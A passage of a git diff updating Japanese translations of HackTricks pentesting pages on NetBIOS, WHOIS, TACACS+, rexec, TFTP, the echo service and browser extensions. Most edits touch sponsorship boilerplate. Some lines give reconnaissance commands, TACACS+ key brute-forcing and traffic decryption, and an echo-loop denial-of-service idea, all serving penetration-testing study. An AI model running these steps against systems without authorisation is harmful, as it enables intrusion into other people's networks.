(ports: 137/udp and 137/tcp). Datagram distribution service for connectionless communication (port: 138/udp). Session service for connection-oriented communication (port: 139/tcp). -Every machine should have a name inside the NetBios network. To request a name, a machine should send a "Name Query" packet in broadcast and if anyone answer that it is already using that name, the machine can use that name. If there is a Name Service server, the computer could ask the Name Service server if someone is using the name that it wants to use. +For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios @@ -86,12 +86,14 @@ Command: nmblookup -A {IP} &&&& nbtscan {IP}/30 &&&& nmap -sU -sV -T4 --script n ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** +HackTricksをサポートする他の方法: + +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 +* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 50cf46d83..6586b9b45 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -4,10 +4,10 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** @@ -15,7 +15,7 @@ HackTricks をサポートする他の方法: # 基本情報 -**WHOIS**プロトコルは、特定のデータベースを介して、さまざまなインターネットリソースの登録者や保有者について**問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。 +**WHOIS** プロトコルは、特定のデータベースを介して **さまざまなインターネットリソースの登録者や保有者について問い合わせる** 標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。 **デフォルトポート:** 43 ``` @@ -61,14 +61,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4 ```
-ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。 +* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index 1dc36bfd1..3947b3bad 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -2,15 +2,15 @@
-**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** -* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
@@ -38,8 +38,8 @@ PORT STATE SERVICE sudo loki_gtk.py ``` ### トラフィックの復号化 -キーが正常に**ブルートフォース攻撃**されると(**通常はMD5で暗号化された形式で**)、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。 +鍵が正常に**総当たり攻撃で**(**通常はMD5で暗号化された形式で**)解読されると、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。 -キーが正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、キーが提供されていれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。 +鍵が正常にクラックされた後、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。 -取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用し、適切な権限なしに使用しないように注意することが重要です。 +取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は厳密に教育目的であり、適切な権限なしに使用すべきではないことに注意することが重要です。 diff --git a/network-services-pentesting/512-pentesting-rexec.md b/network-services-pentesting/512-pentesting-rexec.md index b235bde33..d1d0e3662 100644 --- a/network-services-pentesting/512-pentesting-rexec.md +++ b/network-services-pentesting/512-pentesting-rexec.md @@ -2,21 +2,21 @@
-AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。 -* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
## 基本情報 -有効な**資格情報**(ユーザー名とパスワード)を知っている場合、ホスト内でコマンドを実行することを**可能にするサービス**です。 +**有効な資格情報**(ユーザー名とパスワード)を知っている場合、**ホスト内でコマンドを実行できる**サービスです。 **デフォルトポート:** 512 ``` @@ -27,14 +27,12 @@ PORT STATE SERVICE
-AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をご覧ください! +AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。** -* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。** - -
+* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/network-services-pentesting/69-udp-tftp.md b/network-services-pentesting/69-udp-tftp.md index a889147ab..34fd83598 100644 --- a/network-services-pentesting/69-udp-tftp.md +++ b/network-services-pentesting/69-udp-tftp.md @@ -2,22 +2,22 @@ ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。** -- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 +* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 # 基本情報 -**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずファイルの転送を可能にします。**RFC 1350**で強調されており、その単純さから主要なセキュリティ機能が欠けているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を効率的に配布するために、大規模な内部ネットワーク内で広く利用されています。 +**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずファイルの転送を可能にします。**RFC 1350**で強調されており、そのシンプルさから主要なセキュリティ機能が欠如しているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を効率的に配布するために、大規模な内部ネットワーク内で広く利用されています。 -**TODO**: Bittorrentトラッカーについての情報を提供します(Shodanはこのポートをその名前で識別します)。これに関する詳細情報がある場合は、[**HackTricks telegram group**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issue)でお知らせください。 +**TODO**: Bittorrentトラッカーについての情報を提供してください(Shodanはこのポートをその名前で識別します)。これに関する詳細情報がある場合は、[**HackTricks telegramグループ**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issue)でお知らせください。 **デフォルトポート:** 69/UDP ``` @@ -54,10 +54,10 @@ client.upload("filename to upload", "/local/path/file", timeout=5) HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローしてください。** -* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** +* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。** diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index e43ca34a0..dbead2600 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -1,22 +1,22 @@
-AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する -- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
# 基本情報 -このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\ -**同じマシンまたは別のマシンのエコーサービスに接続することで、サービスの拒否を引き起こす可能性があります**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\ +このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに返送します。\ +**同じマシンまたは別のマシンのエコーサービスに接続して、サービス間でエコーサービスを接続することで、サービスの拒否を引き起こすことが可能です**。生成されるパケット数が過剰に高いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\ 情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) **デフォルトポート:** 7/tcp/udp @@ -48,10 +48,10 @@ Hello echo #This is the response HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。** -* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 +* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/pentesting-web/browser-extension-pentesting-methodology/README.md b/pentesting-web/browser-extension-pentesting-methodology/README.md index 108ade97b..cca0e41ef 100644 --- a/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -2,21 +2,21 @@
-htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert) -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする +- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
## 基本情報 -ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは独自の[DOM](https://www.w3schools.com/js/js_htmldom.asp)を持ち、他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性(CIA)を危険にさらす可能性があります。 +ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。それは自身の[DOM](https://www.w3schools.com/js/js_htmldom.asp)を持っていますが、他のサイトのDOMとやり取りすることができます。これは他のサイトの機密性、整合性、可用性(CIA)を危険にさらす可能性があります。 ## 主要コンポーネント @@ -26,20 +26,20 @@ HackTricksをサポートする他の方法: ### **コンテンツスクリプト** -各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスし、**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。 +各コンテンツスクリプトは**単一のWebページ**のDOMに直接アクセスでき、したがって**潜在的に悪意のある入力**にさらされます。ただし、コンテンツスクリプトには、拡張機能コアにメッセージを送信する権限以外はありません。 ### **拡張機能コア** -拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみWebコンテンツとやり取りできます。また、拡張機能コアはホストマシンに直接アクセスする権限はありません。 +拡張機能コアには、拡張機能のほとんどの権限/アクセスが含まれていますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してWebコンテンツとのやり取りしかできません。また、拡張機能コアはホストマシンに直接アクセスする権限はありません。 ### **ネイティブバイナリ** -拡張機能には、ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscape Plugin Application Programming Interface([NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。 +拡張機能には、ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリが含まれています。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインアプリケーションプログラミングインターフェース([NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアとやり取りします。 ### 境界 {% hint style="danger" %} -ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアへの悪意のある入力と、拡張機能コアからネイティブバイナリへの悪意のある入力を渡すように拡張機能を説得する必要があります。 +ユーザーの完全な権限を取得するには、攻撃者はコンテンツスクリプトから拡張機能コアへの悪意のある入力と、拡張機能コアからネイティブバイナリへの悪意のある入力を拡張機能に説得する必要があります。 {% endhint %} 拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスには利用できない**サンドボックスプロセス**で実行されます。 @@ -83,7 +83,7 @@ Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx ``` ### `content_scripts` -コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**式に一致し、**`*://*/*/business*`**正規表現に一致しないすべてのページが該当します。これらはページ自体のスクリプトのように実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意アクセスできます。 +コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**式に一致するページと**`*://*/*/business*`**正規表現に一致しないページです。これらはページ自体のスクリプトのように**実行され**、ページの[Document Object Model 